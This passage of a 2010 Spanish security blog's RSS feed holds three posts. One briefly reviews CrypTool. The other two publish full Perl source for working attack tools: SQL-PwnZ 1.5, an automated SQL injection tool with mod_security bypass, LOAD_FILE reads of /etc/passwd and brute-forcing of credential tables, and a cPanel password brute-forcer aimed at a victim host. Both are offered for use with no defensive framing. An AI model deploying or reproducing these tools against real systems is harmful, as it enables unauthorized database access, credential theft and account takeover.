			<wfw:commentRss>http://www.brianur.info/cain-abel-una-herramienta-todo-en-uno/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CrypTool: Una herramienta para Criptografía y Criptoanálisis</title>
		<link>http://www.brianur.info/cryptool-una-herramienta-para-criptografia-y-criptoanalisis/</link>
		<comments>http://www.brianur.info/cryptool-una-herramienta-para-criptografia-y-criptoanalisis/#comments</comments>
		<pubDate>Sun, 24 Oct 2010 22:22:50 +0000</pubDate>
		<dc:creator>Brian Urban</dc:creator>
				<category><![CDATA[Toolz]]></category>
		<category><![CDATA[criptografia]]></category>
		<category><![CDATA[herramientas]]></category>
		<category><![CDATA[tools]]></category>

		<guid isPermaLink="false">http://www.brianur.info/?p=880</guid>
		<description><![CDATA[CrypTool es una de esas herramientas a las que uno les coge cariño rápidamente, yo la llevo usando hace algún buen tiempo para resolver retos de criptografía y me a funcionado de maravilla. Esta herramienta es usada para el aprendizaje de  Criptografía y Criptoanálisis, lamentablemente  solo esta disponible para Windows pero existe una alternativa llamada [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">
<p style="text-align: center;"><a href="http://www.brianur.info/wp-content/uploads/2010/10/cryptool.png"><img class="size-full wp-image-881 aligncenter" title="Cryptool" src="http://www.brianur.info/wp-content/uploads/2010/10/cryptool.png" alt="Cryptool" width="474" height="260" /></a></p>
<p><strong>CrypTool</strong> es una de esas herramientas a las que uno les coge cariño rápidamente, yo la llevo usando hace algún buen tiempo para resolver retos de criptografía y me a funcionado de maravilla. Esta herramienta es usada para el aprendizaje de  Criptografía y Criptoanálisis, lamentablemente  solo esta disponible para Windows pero existe una alternativa llamada <a href="http://jcryptool.sourceforge.net/" target="_blank">JCrypTool</a> desarrollada en Java, con la posibilidad de ejecutarse en múltiples sistemas operativos.</p>
<p style="text-align: justify;">Entre las caracterisitcas destacadas de CrypTool podemos encontrar:</p>
<ul style="text-align: justify;">
<li>Numerosos algoritmos criptográficos, clásicos y modernos (cifrado y  descifrado, generación de clave, contraseñas seguras, autentificación,  protocolos seguros, &#8230;)</li>
<li>Visualización de varios métodos (p.ej. César, Enigma, RSA, Diffie-Hellman, firmas digitales, AES)</li>
<li>Criptoanálisis de ciertos algoritmos (p.ej. Vigenère, RSA, AES)</li>
<li>Métodos de medida criptoanalítica  (p.ej. entropía, n-grams, autocorrelación)</li>
<li>Métodos auxiliares (p.ej. tests de primalidad, factorización, codificación en base64)</li>
<li>Tutorial sobre teoría de números.</li>
<li>Ayuda detallada on-line.</li>
<li style="text-align: justify;">Script con más información sobre criptografía.</li>
</ul>
<p style="text-align: justify;"><strong><a href="http://www.cryptool.org/index.php/es/download-topmenu-63.html">Descargar CrypTool</a></strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brianur.info/cryptool-una-herramienta-para-criptografia-y-criptoanalisis/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>SQL-PwnZ 1.5 – Herramienta para SQL Injection</title>
		<link>http://www.brianur.info/sql-pwnz-1-5-%e2%80%93-herramienta-para-sql-injection/</link>
		<comments>http://www.brianur.info/sql-pwnz-1-5-%e2%80%93-herramienta-para-sql-injection/#comments</comments>
		<pubDate>Wed, 14 Jul 2010 01:25:48 +0000</pubDate>
		<dc:creator>Brian Urban</dc:creator>
				<category><![CDATA[Toolz]]></category>
		<category><![CDATA[sql injection]]></category>

		<guid isPermaLink="false">http://www.brianur.info/?p=569</guid>
		<description><![CDATA[Algunos deben recordar que anteriormente les había hablado de esta tool. Hoy me encontré en la web de Login-Root que ya esta disponible la version 1.5. Las novedades son: [+] Agregado mod_security Bypass. [+] Agregado Illegal Mix Of Collations Bypass. [+] Agregadas más tablas para bruteforce. [+] Agregadas más columnas para bruteforce. [+] Código interno [...]]]></description>
			<content:encoded><![CDATA[<p>Algunos deben recordar que <a href="http://www.brianur.info/sql-pwnz-herramienta-para-sql-injection/">anteriormente</a> les había hablado de esta tool. Hoy me encontré en la web de Login-Root que ya esta disponible la <a href="http://loginroot.diosdelared.com/?coment=6411">version 1.5</a>. </p>
<p><a href="http://www.brianur.info/wp-content/uploads/2010/07/sqlpwnz.png"><img src="http://www.brianur.info/wp-content/uploads/2010/07/sqlpwnz-300x210.png" alt="" title="sqlpwnz" width="300" height="210" class="aligncenter size-medium wp-image-579" /></a></p>
<p>Las novedades son:</p>
<p>[+] Agregado mod_security Bypass.<br />
[+] Agregado Illegal Mix Of Collations Bypass.<br />
[+] Agregadas más tablas para bruteforce.<br />
[+] Agregadas más columnas para bruteforce.<br />
[+] Código interno mejorado.<br />
[+] Bugs Fixeados.</p>
<p>Pueden descargarla desde <a href="http://sourceforge.net/projects/sqlpwnz/">aquí</a>.<br />
<span id="more-569"></span></p>
<pre class="brush: perl; title: ; notranslate">
#!/usr/bin/perl

##################################################################################################################
#                                  -[+]- SQL-PwnZ v1.5 | By Login-Root -[+]-                                   ###
##################################################################################################################

##################################################################################################################
# [+] inf0:                                                                                                    ###
##################################################################################################################
# Busca:                                                                                                       ###
# ======                                                                                                       ###
#  - Nº de columnas                                                                                            ###
#  - Information_Schema &amp;&amp; MySQL.User                                                                          ###
#  - LOAD_FILE                                                                                                 ###
#  - Tablas                                                                                                    ###
#  - Columnas                                                                                                  ###
#  - Illegal Mix Of Collations Bypass &amp;&amp; mod_security Bypass                                                   ###
#                                                                                                              ###
#  ...y guarda todo en un archivo de texto.                                                                    ###
#                                                                                                              ###
##################################################################################################################

##################################################################################################################
# [+] Use:                                                                                                     ###
##################################################################################################################
# perl sqlpwnz.pl [WEBSITE] [COLUMNAS] [ARCHIVO] [COMENTARIO] [-TB] [-CL] [-NOCHECK] [-MOD_FUCK] [-MIX_BYPASS] ###
#   [WEBSITE]: http://www.web.com/index.php?id=12 [INGRESAR UN ID VALIDO]                                      ###
#   [COLUMNAS]: Limite de columnas                                                                             ###
#   [ARCHIVO]: Archivo donde guardar web vulnerable                                                            ###
#   [COMENTARIO]: '/*' o '--' (Sin las comillas) (Opcional)                                                    ###
#   [-TB]: Intentar brutear tablas (Opcional)                                                                  ###
#   [-CL]: Intentar brutear columnas (Opcional)                                                                ###
#   [-NOCHECK]: No hacer el chequeo inicial (Opcional)                                                         ###
#   [-MOD_FUCK]: Activar mod_security Bypass (Opcional)                                                        ###
#   [-MIX_BYPASS]: Activar Illegal Mix Of Collations Bypass (Opcional)                                         ###
##################################################################################################################

##################################################################################################################
# [+] c0ntact:                                                                                                 ###
##################################################################################################################
# MSN:    no.more@passport.com                                                                                 ###
# E-Mail: login_root@yahoo.com.ar                                                                              ###
##################################################################################################################

##################################################################################################################
# [+] sh0utz:                                                                                                  ###
##################################################################################################################
# Greetz: KiKo ; VanHan ; [Dead] Knet ; Ricota ; InyeXion ; OxOnO ; Matt ; r0dr1 ; oceanik6 ; OzX ; yoyahack   ###
# VISIT: WWW.REMOTEEXECUTION.ORG | WWW.DIOSDELARED.COM                                                         ###
##################################################################################################################

use HTTP::Request;
use LWP::UserAgent;

if(!$ARGV[2])
	{
		 print &quot;\n\n-[+]- SQL-PwnZ v1.5 | By Login-Root -[+]-\n=========================================&quot;;
		 print &quot;\n\nUso: perl $0 [WEBSITE] [COLUMNAS] [ARCHIVO] [COMENTARIO] [-TB] [-CL] [-NOCHECK] [-MOD_FUCK] [-MIX_BYPASS]\n&quot;;
		 print &quot;\n[WEBSITE]: http://www.web.com/index.php?id=12 [INGRESAR UN ID VALIDO]\n[COLUMNAS]: Limite de columnas\n[ARCHIVO]: Archivo donde guardar web vulnerable\n[COMENTARIO]: '/*' o '--' (Sin las comillas) (Opcional)\n[-TB]: Intentar brutear tablas (Opcional)\n[-CL]: Intentar brutear columnas (Opcional)\n[-NOCHECK]: No hacer el chequeo inicial (Opcional)\n[-MOD_FUCK]: Activar mod_security Bypass (Opcional)\n[-MIX_BYPASS]: Activar Illegal Mix Of Collations Bypass (Opcional)\n\n&quot;;
		 exit (0);
	}

@nombretabla=('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario','web_users',
	  'name','names','nombre','nombres','usuarios','member','members','admin_table','usuaris','web_usuarios',
	  'miembro','miembros','membername','admins','administrator','sign','config','USUARIS','cms_operadores',
	  'administrators','passwd','password','passwords','pass','Pass','mpn_authors','author','musuario','mysql.user',
	  'user_names','foro','tAdmin','tadmin','user_password','user_passwords','user_name',
	  'member_password','mods','mod','moderators','moderator','user_email','jos_users','mb_user','host','apellido_nombre',
	  'user_emails','user_mail','user_mails','mail','emails','email','address','jos_usuarios','tutorial_user_auth',
	  'e-mail','emailaddress','correo','correos','phpbb_users','log','logins','login','tbl_usuarios','user_auth','login_radio',
	  'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass','tbl_admin','usuarios_head',
	  'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador','BG_CMS_Users',
	  'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id','foro_usuarios','cliente',
	  'sistema_usuario','sistema_password','contrasena','auth','key','senha','signin','dir_admin','alias','clientes',
	  'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member','calendar_users','cursos',
      'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization','web_users','curso',
      'membros','utilizadores','staff','nuke_authors','accounts','account','accnts','signup','leads','lead',
      'associated','accnt','customers','customer','membres','administrateur','utilisateur','riacms_users',
      'tuser','tusers','utilisateurs','password','amministratore','god','God','authors','wp_users','tb_usuarios',
      'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members','tb_usuario',
	  'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');

@nombrecolumna=('admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email','senha',
          'username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail','cliente',
          'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','host','pws','cedula','userName','host_password','chave','alias','apellido_nombre','cliente_nombre','cliente_email','cliente_pass','cliente_user','cliente_usuario',
          'login_id','usr','sistema_id','author','user_login','admin_user','admin_pass','uh_usuario','uh_password','psw','host_username',
          'sistema_usuario','auth','key','usuarios_nombre','usuarios_nick','usuarios_password','user_clave',
		  'membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo','usuario_nombre','usuario_nick','usuario_password',
          'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',
          'user_pwd','u_pass','clave','usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username');

($host, $columnas, $savelist) = @ARGV;

$agent = LWP::UserAgent-&gt;new;
$agent-&gt;agent(&quot;Google Bot&quot;);

if ( $host   !~   /^http:/ )
  {
      $host = &quot;http://&quot; . $host;
  }

for ($numarg = 0 ;  $numarg &lt;= $#ARGV ; $numarg++)
{
	$argumentos.= $ARGV[$numarg];
}

if ($argumentos =~ /-MIX_BYPASS/i)
{
	print &quot;\n[+] MIX_BYPASS ACTIVADO&quot;;
	$hexin = &quot;unhex(hex(&quot;;
	$hexend = &quot;))&quot;;
}
if ($argumentos !~ /-MOD_FUCK/i)
{
if ($argumentos =~ /--/)
{
	$cmn= &quot;+&quot;;
	$cfin=&quot;--&quot;;
	print &quot;\n[+] Comentarios a utilizar: '--' &amp; '+'&quot;;
}
else
{
	$cmn= &quot;/**/&quot;;
	$cfin= &quot;/*&quot;;
	print &quot;\n[+] Comentarios a utilizar: '/*' &amp; '/**/'&quot;;
}
}
else
{
	print &quot;\n[+] MOD_FUCK ACTIVADO, se ignoran comentarios. Utilizando: '+'. Bypass: '/*!' &amp; '*/'&quot;;
	$bypass = &quot;+/*!&quot;;
	$cmn= &quot;+&quot;;
	$cfin= &quot;*/&quot;;
}

open(WEB,&quot;&gt;&gt;&quot;.$savelist) || die &quot;\n\n[-] Imposible crear el archivo de texto\n&quot;;
if ($argumentos =~ /-NOCHECK/i)
  {
      print &quot;\n[!] Se omite el chequeo inicial...\n&quot;;
      print WEB &quot;[WEBSITE]:\n\n$host\n&quot;;
  }
else
  {
      print &quot;\n[!] Chequeando si la web es vulnerable...\n&quot;;
      $sql = $agent-&gt;request(HTTP::Request-&gt;new(GET =&gt; $host.$bypass.&quot;+AND+1=char(97)=char(87)&quot;.$cmn.&quot;UNION&quot;.$cmn.&quot;SELECT&quot;.$cfin));
      $response = $sql-&gt;content();
      if($response=~ /mysql_fetch_/ || $response=~ /You have an error in your SQL syntax/ || $response =~ /tem um erro de sintaxe no seu SQL/ || $response =~ /mysql_num_rows/ || $response =~ /Division by zero in/ || $response =~ /error de sintaxis al final de la entrada/ || $response =~ /Unknown column/)
        {
            print &quot;[+] Web vulnerable, continua el script...\n&quot;;
            print WEB &quot;[WEBSITE]:\n\n$host\n&quot;;
        }
        else
          {
            print &quot;[-] Website aparentemente no vulnerable a SQL Inyection, intentar con otro comentario o con -NOCHECK activado\n\n&quot;;
	    close(WEB);
            exit(0);
          }
  }
print &quot;\n[!] Buscando columnas...\n&quot;;
for ($column = 1 ; $column &lt;= $columnas ; $column ++)
{
	$UNION.=','.$column;
	$inyection.=','.&quot;0x6c6f67696e70776e7a&quot;;
    if ($column == 1)
      {
          print WEB &quot;\n[COLUMNAS]:\n\n&quot;;
          $inyection = '';
          $UNION = '';
      }
    $sql = $agent-&gt;request(HTTP::Request-&gt;new(GET =&gt; $host.$bypass.&quot;+AND+1=char(97)=char(87)&quot;.$cmn.&quot;UNION&quot;.$cmn.&quot;SELECT&quot;.$cmn.&quot;0x6c6f67696e70776e7a&quot;.$inyection.$cfin));
    $response = $sql-&gt;content();
    if($response =~ /loginpwnz/)
      {
         print &quot;[+] La web posee $column columnas\n\n&quot;;
         $sql=$host.$bypass.&quot;+AND+1=char(97)=char(87)&quot;.$cmn.&quot;UNION&quot;.$cmn.&quot;SELECT&quot;.$cmn.&quot;1&quot;.$UNION.$cfin;
         print &quot;$sql\n&quot;;
         print WEB &quot;$sql\n&quot;;
         print &quot;\n[!] Chequeando si existe Information_Schema...&quot;;
         $sql = $agent-&gt;request(HTTP::Request-&gt;new(GET =&gt; $host.$bypass.&quot;+AND+1=char(97)=char(87)&quot;.$cmn.&quot;UNION&quot;.$cmn.&quot;SELECT&quot;.$cmn.&quot;0x6c6f67696e70776e7a&quot;.$inyection.$cmn.&quot;FROM&quot;.$cmn.&quot;information_schema.tables&quot;.$cfin));
         $response = $sql-&gt;content();
         if($response =~ /loginpwnz/)
         	{
         		print &quot;\n[+] Information_Schema disponible...guardando en $savelist&quot;;
            $sql=$host.$bypass.&quot;+AND+1=char(97)=char(87)&quot;.$cmn.&quot;UNION&quot;.$cmn.&quot;SELECT&quot;.$cmn.&quot;1&quot;.$UNION.$cmn.&quot;FROM&quot;.$cmn.&quot;information_schema.tables&quot;.$cfin;
            print WEB &quot;\n\n[INFORMATION_SCHEMA]:\n\n$sql\n&quot;;

         	}
         else
         	{
            	print &quot;\n[-] Information_Schema no disponible&quot;;
         	}
         print &quot;\n[!] Chequeando si existe MySQL.User...&quot;;
         $sql = $agent-&gt;request(HTTP::Request-&gt;new(GET =&gt; $host.$bypass.&quot;+AND+1=char(97)=char(87)&quot;.$cmn.&quot;UNION&quot;.$cmn.&quot;SELECT&quot;.$cmn.&quot;0x6c6f67696e70776e7a&quot;.$inyection.$cmn.&quot;FROM&quot;.$cmn.&quot;mysql.user&quot;.$cfin));
         $response = $sql-&gt;content();
         if($response =~ /loginpwnz/)
         	{
         		print &quot;\n[+] MySQL.User disponible...guardando en $savelist&quot;;
         		$sql=$host.$bypass.&quot;+AND+1=char(97)=char(87)&quot;.$cmn.&quot;UNION&quot;.$cmn.&quot;SELECT&quot;.$cmn.&quot;1&quot;.$UNION.$cmn.&quot;FROM&quot;.$cmn.&quot;mysql.user&quot;.$cfin;
            	print WEB &quot;\n\n[MYSQL.USER]:\n\n$sql\n&quot;;

         	}
         else
         	{
            	print &quot;\n[-] MySQL.User no disponible&quot;;
         	}
	while ($loadcont &lt; $column-1)
	   {
		$loadfile.=','.$hexin.'LOAD_FILE(0x2f6574632f706173737764)'.$hexend;
		$loadcont++;
	   }
	print &quot;\n[!] Chequeando si es posible inyectar LOAD_FILE...&quot;;
	$sql = $agent-&gt;request(HTTP::Request-&gt;new(GET =&gt; $host.$bypass.&quot;+AND+1=char(97)=char(87)&quot;.$cmn.&quot;UNION&quot;.$cmn.&quot;SELECT&quot;.$cmn.$hexin.&quot;LOAD_FILE(0x2f6574632f706173737764)&quot;.$hexend.$loadfile.$cfin));
    $response = $sql-&gt;content();
    if($response =~ /root:x:/)
         	{
         		print &quot;\n[+] LOAD_FILE disponible...guardando en $savelist&quot;;
         		print WEB &quot;\n\n[LOAD_FILE]:\n\n$hexinLOAD_FILE(0x2f6574632f706173737764)$hexend =&gt; OK! (0x2f6574632f706173737764 =&gt; /etc/passwd)\n&quot;;
          }
         else
         	{
            	print &quot;\n[-] LOAD_FILE no disponible&quot;;
         	}
	if ($argumentos =~ /-TB/i)
         	{
              print &quot;\n\n[!] Bruteando tablas...&quot;;
              print WEB &quot;\n\n[TABLAS]:\n\n&quot;;
              foreach $tabla(@nombretabla)
                {
                  chomp($tabla);
                  $sql = $agent-&gt;request(HTTP::Request-&gt;new(GET =&gt; $host.$bypass.&quot;+AND+1=char(97)=char(87)&quot;.$cmn.&quot;UNION&quot;.$cmn.&quot;SELECT&quot;.$cmn.&quot;0x6c6f67696e70776e7a&quot;.$inyection.$cmn.&quot;FROM&quot;.$cmn.$tabla.$cfin));
                  $response = $sql-&gt;content();
                  if($response =~ /loginpwnz/)
                    {
                        print &quot;\n[+] La tabla $tabla esta disponible...guardando en $savelist&quot;;
                        $sql=$host.$bypass.&quot;+AND+1=char(97)=char(87)&quot;.$cmn.&quot;UNION&quot;.$cmn.&quot;SELECT&quot;.$cmn.&quot;1&quot;.$UNION.$cmn.&quot;FROM&quot;.$cmn.$tabla.$cfin;
                        print WEB &quot;$sql\n&quot;;
                    }
                }
           	}
        if ($argumentos =~ /-CL/i)
          {
          	print &quot;\n\n[!] Tabla a la cual brutear columnas: &quot;;
            $tabla=&lt;STDIN&gt;;
            chomp($tabla);
            print WEB &quot;\n\n[COLUMNAS EN $tabla]:\n\n&quot;;
            foreach $columna(@nombrecolumna)
            {
             chomp($columna);
             $sql = $agent-&gt;request(HTTP::Request-&gt;new(GET =&gt; $host.$bypass.&quot;+AND+1=char(97)=char(87)&quot;.$cmn.&quot;UNION&quot;.$cmn.&quot;SELECT&quot;.$cmn.$hexin.&quot;concat(0x6c6f67696e70776e7a,0x3a,$columna)&quot;.$hexend.$inyection.$cmn.&quot;FROM&quot;.$cmn.$tabla.$cfin));
             $response = $sql-&gt;content();
             if ($response =~ /loginpwnz/)
                  {
                      print &quot;\n[+] La columna $columna esta disponible...guardando en $savelist&quot;;
                      print WEB &quot;$hexin$columna$hexend\n&quot;;
                  }
            }
        }
        print WEB &quot;\n\n\n[*EOF*]&quot;;
        print &quot;\n\n[+] Todo salvado correctamente en $savelist\n\n&quot;;
        print &quot;## c0ded by Login-Root | 2010 ##\n\n&quot;;
	close(WEB);
        exit (0);
      }
}
print &quot;[-] Imposible encontrar numero de columnas, intentar con mas columnas\n\n&quot;;
print &quot;## c0ded by Login-Root | 2010 ##\n\n&quot;;
close(WEB);
exit (0);
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.brianur.info/sql-pwnz-1-5-%e2%80%93-herramienta-para-sql-injection/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Cpanel Password Brute Forcer</title>
		<link>http://www.brianur.info/cpanel-password-brute-forcer/</link>
		<comments>http://www.brianur.info/cpanel-password-brute-forcer/#comments</comments>
		<pubDate>Tue, 13 Jul 2010 22:55:25 +0000</pubDate>
		<dc:creator>Brian Urban</dc:creator>
				<category><![CDATA[Toolz]]></category>
		<category><![CDATA[bruter]]></category>
		<category><![CDATA[cpanel]]></category>
		<category><![CDATA[diccionario]]></category>
		<category><![CDATA[fuerza bruta]]></category>

		<guid isPermaLink="false">http://www.brianur.info/?p=565</guid>
		<description><![CDATA[Aquí les dejo una herramienta, el nombre lo dice todo. Esta hecha en Perl:]]></description>
			<content:encoded><![CDATA[<p>Aquí les dejo una herramienta, el nombre lo dice todo. Esta hecha en Perl:</p>
<p><a href="http://www.brianur.info/wp-content/uploads/2010/07/cpanel.png"><img src="http://www.brianur.info/wp-content/uploads/2010/07/cpanel.png" alt="" title="Cpanel Password Bruter Force" width="500" height="280" class="aligncenter size-full wp-image-574" /></a></p>
<pre class="brush: perl; title: ; notranslate">
#!/usr/bin/perl
# Cpanel Password Brute Forcer
# ----------------------------
#    (c)oded By Hessam-x
# Perl Version ( low speed )
# Oerginal Advisory :
# http://www.simorgh-ev.com/advisory/2006/cpanel-bruteforce-vule/
use IO::Socket;
use LWP::Simple;
use MIME::Base64;

$host     = $ARGV[0];
$user     = $ARGV[1];
$port     = $ARGV[2];
$list     = $ARGV[3];
$file     = $ARGV[4];
$url = &quot;http://&quot;.$host.&quot;:&quot;.$port;
if(@ARGV &lt; 3){
print q(
###############################################################
#               Cpanel Password Brute Force Tool              #
###############################################################
#     usage : cpanel.pl [HOST] [User] [PORT][list] [File]    #
#-------------------------------------------------------------#
#    [Host] : victim Host             (simorgh-ev.com)        #
#    [User] : User Name               (demo)                  #
#    [PORT] : Port of Cpanel          (2082)                  #
#[list] : File Of password list   (list.txt)              #
#    [File] : file for save password  (password.txt)          #
#                                                             #
###############################################################
#            (c)oded By Hessam-x / simorgh-ev.com             #
###############################################################
);exit;}

headx();

$numstart  = &quot;-1&quot;;

sub headx() {
print q(
###############################################################
#              Cpanel Password Brute Force Tool               #
#            (c)oded By Hessam-x / simorgh-ev.com             #
###############################################################
);
open (PASSFILE, &quot;&lt;$list&quot;) || die &quot;[-] Can't open the List of password file !&quot;;
@PASSWORDS = &lt;PASSFILE&gt;;
close PASSFILE;
foreach my $P (@PASSWORDS) {
chomp $P;
$passwd = $P;
print &quot;\n [~] Try Password : $passwd \n&quot;;
&amp;brut;
};
}
sub brut() {
$authx = encode_base64($user.&quot;:&quot;.$passwd);
print $authx;
my $sock = IO::Socket::INET-&gt;new(Proto =&gt; &quot;tcp&quot;,PeerAddr =&gt; &quot;$host&quot;, PeerPort =&gt; &quot;$port&quot;) || print &quot;\n [-] Can not connect to the host&quot;;
print $sock &quot;GET / HTTP/1.1\n&quot;;
print $sock &quot;Authorization: Basic $authx\n&quot;;
print $sock &quot;Connection: Close\n\n&quot;;
read  $sock, $answer, 128;
close($sock);

if ($answer =~ /Moved/) {
print &quot;\n [~] PASSWORD FOUND : $passwd \n&quot;;
exit();
}
}
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.brianur.info/cpanel-password-brute-forcer/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using disk: basic
Page Caching using disk: enhanced
Database Caching 1/58 queries in 0.062 seconds using disk: basic
Object Caching 1086/1226 objects using disk: basic

Served from: www.brianur.info @ 2012-02-05 05:17:31 -->
